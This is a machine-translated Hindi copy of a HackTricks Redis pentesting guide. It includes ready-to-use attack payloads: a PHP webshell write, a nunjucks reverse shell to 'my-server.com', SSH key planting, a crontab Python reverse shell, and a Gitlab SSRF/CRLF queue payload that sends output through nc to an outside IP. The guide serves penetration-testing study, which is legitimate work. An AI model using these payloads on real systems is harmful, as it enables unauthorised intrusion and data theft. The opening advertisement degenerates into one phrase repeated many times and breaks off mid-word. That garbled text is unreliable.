hacktricks/network-services-pentesting/6379-pentesting-redis.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

324 lines
39 KiB
Markdown

# 6379 - पेंटेस्टिंग रेडिस
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स साझा करें और** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके** अपने हैकिंग ट्रिक्स साझा करें।
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof में सभी क्रिप्टो बग बाउंटी होती है।**
**देरी के बिना पुरस्कार प्राप्त करें**\
HackenProof बाउंटी तब शुरू होती हैं जब उनके ग्राहक इनाम बजट जमा करते हैं। बग सत्यापित होने के बाद आपको इनाम मिलेगा।
**Web3 पेंटेस्टिंग में अनुभव प्राप्त करें**\
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! इसके उभरते दिनों में web3 सुरक्षा को मास्टर करें।
**Web3 हैकर लीजेंड बनें**\
प्रतिस्पर्धा सूचकांक के साथ प्रत्यामित बग के प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित बग के साथ प्रत्यामित ब
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## स्वचालित गणना
कुछ स्वचालित उपकरण जो एक रेडिस इंस्टेंस से जानकारी प्राप्त करने में मदद कर सकते हैं:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## मैनुअल जांच
### बैनर
Redis एक **टेक्स्ट आधारित प्रोटोकॉल** है, आप बस **सॉकेट में कमांड भेज सकते हैं** और वापस मिलने वाले मान पठनीय होंगे। यहां याद रखें कि Redis **ssl/tls** का उपयोग करके चला सकता है (लेकिन यह बहुत अजीब होगा)।
एक सामान्य Redis इंस्टेंस में आप `nc` का उपयोग करके कनेक्ट कर सकते हैं या आप `redis-cli` का भी उपयोग कर सकते हैं:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
**पहली कमांड** जो आप प्रयास कर सकते हैं वह है **`info`**। यह Redis इंस्टेंस की जानकारी के साथ आउटपुट लौटा सकता है या कुछ ऐसा लौटा सकता है:
```
-NOAUTH Authentication required.
```
इस अंतिम मामले में, इसका अर्थ है कि आपको Redis इंस्टेंस तक पहुंचने के लिए **मान्य प्रमाणिकरण** की आवश्यकता होती है।
### Redis प्रमाणीकरण
**डिफ़ॉल्ट रूप से** Redis को **पासवर्ड के बिना** एक्सेस किया जा सकता है। हालांकि, इसे **कॉन्फ़िगर** किया जा सकता है कि यह केवल पासवर्ड, या उपयोगकर्ता नाम + पासवर्ड का समर्थन करे।\
आप _**redis.conf**_ फ़ाइल में `requirepass` पैरामीटर के साथ एक पासवर्ड **सेट कर सकते हैं** या सेवा पुनरारंभ होने तक अस्थायी रूप से इससे कनेक्ट करके चला सकते हैं: `config set requirepass p@ss$12E45`।\
इसके अलावा, _**redis.conf**_ फ़ाइल में पैरामीटर `masteruser` में एक **उपयोगकर्ता नाम** कॉन्फ़िगर किया जा सकता है।
{% hint style="info" %}
यदि केवल पासवर्ड कॉन्फ़िगर किया गया है तो उपयोग किया जाने वाला उपयोगकर्ता नाम "**default**" होता है।\
इसके अलावा, ध्यान दें कि Redis के बाहर से यह जानने का कोई **तरीका नहीं है** कि क्या Redis केवल पासवर्ड या उपयोगकर्ता+पासवर्ड के साथ कॉन्फ़िगर किया गया है।
{% endhint %}
इस तरह के मामलों में आपको Redis के साथ इंटरैक्ट करने के लिए **मान्य प्रमाणिकरण खोजने की आवश्यकता** होगी, इसलिए आप [**ब्रूट-फ़ोर्स**](../generic-methodologies-and-resources/brute-force.md#redis) करने का प्रयास कर सकते हैं।\
**यदि आप मान्य प्रमाणिकरण पाएंगे तो कनेक्शन स्थापित करने के बाद अधिकारीकरण सत्र** को प्रमाणित करने के लिए निम्नलिखित कमांड का उपयोग करें:
```bash
AUTH <username> <password>
```
**मान्य प्रमाणिकरण** के साथ निम्नलिखित के साथ प्रतिक्रिया मिलेगी: `+OK`
### **प्रमाणित जाँच**
यदि Redis इंस्टेंस **गैर नामचीन** कनेक्शन स्वीकार कर रहा है या आपने कुछ **मान्य प्रमाणिकरण** पाया है, तो आप निम्नलिखित कमांड के साथ सेवा की जाँच करना शुरू कर सकते हैं:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**अन्य Redis कमांड** [**यहां**](https://redis.io/topics/data-types-intro) **और** [**यहां**](https://lzone.de/cheat-sheet/Redis)** मिल सकते हैं।**\
ध्यान दें कि **एक इंस्टेंस के Redis कमांडों को नामांकित** या _redis.conf_ फ़ाइल में हटा दिया जा सकता है। उदाहरण के लिए, इस पंक्ति से FLUSHDB कमांड हटा दिया जाएगा:
```
rename-command FLUSHDB ""
```
यहां Redis सेवा को सुरक्षित रूप से कॉन्फ़िगर करने के बारे में और अधिक जानकारी है: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
आप यहां रेडिस कमांड्स को वास्तविक समय में मॉनिटर कर सकते हैं **`monitor`** कमांड के साथ या शीर्ष **25 सबसे धीमे क्वेरी** को प्राप्त कर सकते हैं **`slowlog get 25`** के साथ।
अधिक रोचक जानकारी के लिए यहां Redis कमांड्स के बारे में और जानें: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **डेटाबेस को डंप करना**
Redis में **डेटाबेस संख्याएं 0 से शुरू होती हैं**। आप यह जान सकते हैं कि क्या कोई भी उपयोग में है या नहीं `info` कमांड के आउटपुट में "Keyspace" चंक में:
![](<../.gitbook/assets/image (315).png>)
या आप सिर्फ सभी **keyspaces** (डेटाबेस) को प्राप्त कर सकते हैं:
```
INFO keyspace
```
उस उदाहरण में **डेटाबेस 0 और 1** का उपयोग किया जा रहा है। **डेटाबेस 0 में 4 कुंजी हैं और डेटाबेस 1 में 1 है**। डिफ़ॉल्ट रूप से Redis डेटाबेस 0 का उपयोग करेगा। उदाहरण के लिए डेटाबेस 1 को डंप करने के लिए आपको निम्न कार्रवाई करनी होगी:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
यदि आप `GET <KEY>` चलाते समय निम्नलिखित त्रुटि `-WRONGTYPE Operation against a key holding the wrong kind of value` प्राप्त करते हैं, तो इसका मतलब है कि कुंजी कुछ और हो सकती है जो स्ट्रिंग या पूर्णांक से अलग है और इसे प्रदर्शित करने के लिए एक विशेष ऑपरेटर की आवश्यकता होती है।
कुंजी के प्रकार को जानने के लिए, `TYPE` कमांड का उपयोग करें, नीचे दिए गए उदाहरण में सूची और हैश कुंजी के लिए।
```
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
```
**नपम** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **या पायथन** [**redis-utils**](https://pypi.org/project/redis-utils/) **के साथ डेटाबेस डंप करें।**
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof क्रिप्टो बग बाउंटी के लिए घर है।**
**देरी के बिना पुरस्कार प्राप्त करें**\
HackenProof बाउंटी केवल तब शुरू होते हैं जब उनके ग्राहक इनाम बजट जमा करते हैं। आपको इनाम उस बग के सत्यापित होने के बाद मिलेगा।
**वेब3 पेंटेस्टिंग में अनुभव प्राप्त करें**\
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! इसके उभरते दिनों में वेब3 सुरक्षा को मास्टर करें।
**वेब3 हैकर लीजेंड बनें**\
प्रत्येक सत्यापित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।
[**HackenProof पर साइन अप करें**](https://hackenproof.com/register) और अपने हैक्स से कमाई करना शुरू करें!
{% embed url="https://hackenproof.com/register" %}
## Redis RCE
### इंटरैक्टिव शेल
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) आपको स्वचालित रूप से रेडिस(<=5.0.5) में एक इंटरैक्टिव शेल या रिवर्स शेल प्राप्त करने में मदद कर सकता है।
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP वेबशेल
[**यहां**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html) से जानकारी मिली है। आपको **वेबसाइट फ़ोल्डर का पथ** पता होना चाहिए:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
यदि वेबशेल एक्सेस अस्वीकृति होती है, तो आप बैकअप के बाद डेटाबेस को खाली कर सकते हैं और पुनः प्रयास कर सकते हैं, ध्यान दें कि डेटाबेस को पुनर्स्थापित करें।
### टेम्पलेट वेबशेल
पिछले खंड में की तरह, आप किसी भी html टेम्पलेट फ़ाइल को अधिष्ठानित करने और शैल मिलाने के लिए एक टेम्पलेट इंजन द्वारा व्याख्या की जा रही है और एक शैल प्राप्त कर सकते हैं।
उदाहरण के लिए, [**इस व्राइटअप**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) का पालन करते हुए, आप देख सकते हैं कि हमलावर ने **nunjucks टेम्पलेट इंजन** द्वारा व्याख्या की जाने वाली **html में एक रेव शैल डाली है:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
ध्यान दें कि **कई टेम्पलेट इंजन कैश** में टेम्पलेट्स को **मेमोरी में** कैश किया जाता है, इसलिए यदि आप उन्हें अधिलेखित करते हैं, तो नया टेम्पलेट **क्रियान्वित नहीं होगा**। इस प्रकार के मामलों में, या तो डेवलपर ने स्वचालित पुनरारंभ सक्रिय छोड़ दी है या आपको सेवा पर डीओएस करने की आवश्यकता होगी (और उम्मीद करेंगे कि यह स्वचालित रूप से पुनरारंभ होगा)।
{% endhint %}
### SSH
कृपया ध्यान दें कि **`config get dir`** परिणाम को अन्य मैन्युअल अभिशोषण कमांड के बाद बदला जा सकता है। रेडिस में लॉगिन करने के बाद इसे पहले चलाने की सलाह दी जाती है। **`config get dir`** के आउटपुट में आप **रेडिस उपयोगकर्ता** के **होम** (आमतौर पर _/var/lib/redis_ या _/home/redis/.ssh_) का पता लगा सकते हैं, और इसे जानकर आप जानते हैं कि आप कहां लिख सकते हैं `authenticated_users` फ़ाइल को ssh के माध्यम से एक्सेस करने के लिए **रेडिस उपयोगकर्ता** के साथ। यदि आप अन्य मान्य उपयोगकर्ता के होम को जानते हैं जहां आपके पास लिखने की अनुमति है, तो आप इसका दुरुपयोग भी कर सकते हैं:
1. अपने पीसी पर एक ssh पब्लिक-प्राइवेट कुंजी जोड़ें: **`ssh-keygen -t rsa`**
2. पब्लिक कुंजी को एक फ़ाइल में लिखें: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. फ़ाइल को रेडिस में आयात करें: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. रेडिस सर्वर पर **authorized\_keys** फ़ाइल में पब्लिक कुंजी सहेजें:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. अंत में, आप निजी कुंजी के साथ **रेडिस सर्वर** पर **ssh** कर सकते हैं: **ssh -i id\_rsa redis@10.85.0.52**
**इस तकनीक को यहां स्वचालित रूप से किया जा सकता है:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
अंतिम उदाहरण Ubuntu के लिए है, **Centos** के लिए ऊपर दिए गए कमांड का उपयोग करना चाहिए: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
इस तरीके का उपयोग बिटकॉइन कमाने के लिए भी किया जा सकता है: [yam](https://www.v2ex.com/t/286981#reply14)
### Redis मॉड्यूल लोड करें
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) के निर्देशों का पालन करके आप **किसी भी आरबिट्रे कमांड को निष्पादित करने के लिए एक रेडिस मॉड्यूल को कंपाइल** कर सकते हैं।
2. फिर आपको कंपाइल किए गए मॉड्यूल को **अपलोड करने का कोई तरीका** चाहिए।
3. `MODULE LOAD /path/to/mymodule.so` के साथ **रनटाइम में अपलोड किए गए मॉड्यूल** लोड करें।
4. यह सुनिश्चित करने के लिए **लोड किए गए मॉड्यूल की सूची** देखें: `MODULE LIST`
5. **कमांड निष्पादित** करें:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. चाहें तो मॉड्यूल को अनलोड करें: `MODULE UNLOAD mymodule`
### LUA सैंडबॉक्स बाईपास
[**यहां**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) आप देख सकते हैं कि Redis लुआ कोड सैंडबॉक्स को निष्पादित करने के लिए **EVAL** कमांड का उपयोग करता है। लिंक किए गए पोस्ट में आप देख सकते हैं कि इसे **dofile** फ़ंक्शन का उपयोग करके **दुरुपयोग** कैसे किया जाता है, लेकिन [शायद](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) अब यह संभव नहीं है। फिर भी, यदि आप लुआ सैंडबॉक्स को **बाईपास** कर सकते हैं, तो आप सिस्टम पर **आरबिट्रे** कमांड निष्पादित कर सकते हैं। इसके अलावा, उसी पोस्ट से आप कुछ **DoS करने के विकल्प** देख सकते हैं।
लुआ से बाहर निकलने के लिए कुछ **CVEs**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### मास्टर-स्लेव मॉड्यूल
मास्टर रेडिस सभी ऑपरेशन स्वचालित रूप से स्लेव रेडिस में सिंक्रनाइज़ होते हैं, जिसका मतलब है कि हम वंशवादी रेडिस को एक स्लेव रेडिस के रूप में मान सकते हैं, जो हमारे नियंत्रण में होता है, फिर हम अपने रेडिस में कमांड दर्ज कर सकते हैं।
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## Redis के साथ बातचीत करने के लिए SSRF
यदि आप **स्पष्ट पाठ** अनुरोध **Redis को** भेज सकते हैं, तो आप इसके साथ **संवाद कर सकते हैं** क्योंकि Redis अनुरोध को पंक्ति-पंक्ति पढ़ेगा और उसे समझने में असमझित पंक्तियों पर केवल त्रुटियों के साथ प्रतिक्रिया देगा:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
इसलिए, यदि आपको एक वेबसाइट में **SSRF vuln** मिलता है और आप कुछ **हेडर्स** (संभवतः CRLF vuln के साथ) या **POST parameters** को **नियंत्रित** कर सकते हैं, तो आप Redis को विचारशक्ति कमांड भेज सकेंगे।
### उदाहरण: Gitlab SSRF + CRLF से शेल
**Gitlab11.4.7** में एक **SSRF** दुर्बलता और एक **CRLF** मिला। **SSRF** दुर्बलता नए परियोजना बनाने के समय **URL से परियोजना आयात करने की क्षमता** में थी और इसके द्वारा एकांतरिक IP तक पहुंच दी जा सकती थी \[0:0:0:0:0:ffff:127.0.0.1] (यह 127.0.0.1 तक पहुंच करेगा), और **CRLF** vuln केवल **URL** में **%0D%0A** वर्ण जोड़कर उपयोग किया गया।
इसलिए, इन दुर्बलताओं का दुरुपयोग करके **Redis इंस्टेंस** के साथ बातचीत करना संभव था जो **gitlab** से **कतारें प्रबंधित करता है** और उन कतारों का दुरुपयोग करके **कोड निष्पादन प्राप्त** करना संभव था। Redis कतार दुरुपयोग पेलोड है:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
और **URL encode** अनुरोध **SSRF का दुरुपयोग** और **CRLF** का उपयोग करके `whoami` को निष्पादित करने और `nc` के माध्यम से आउटपुट भेजने के लिए है:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_किसी कारण से (जैसा कि इस जानकारी को लिए गया था जैसे_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _में लिखा है) यह उत्पीड़न `git` योजना के साथ काम कर रहा था और `http` योजना के साथ नहीं।_
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof क्रिप्टो बग बाउंटी के लिए घर है।**
**देरी के बिना पुरस्कार प्राप्त करें**\
HackenProof बाउंटी केवल तब शुरू होती है जब उनके ग्राहक पुरस्कार बजट जमा करते हैं। आपको पुरस्कार उस बग के सत्यापित होने के बाद मिलेगा।
**वेब3 पेंटेस्टिंग में अनुभव प्राप्त करें**\
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! उनके उभरते दिनों में वेब3 सुरक्षा को मास्टर करें।
**वेब3 हैकर लीजेंड बनें**\
प्रत्येक सत्यापित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।
[**HackenProof पर साइन अप करें**](https://hackenproof.com/register) और अपने हैक्स से कमाई करें!
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की अनुमति** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को डाउनलोड करें।**
</details>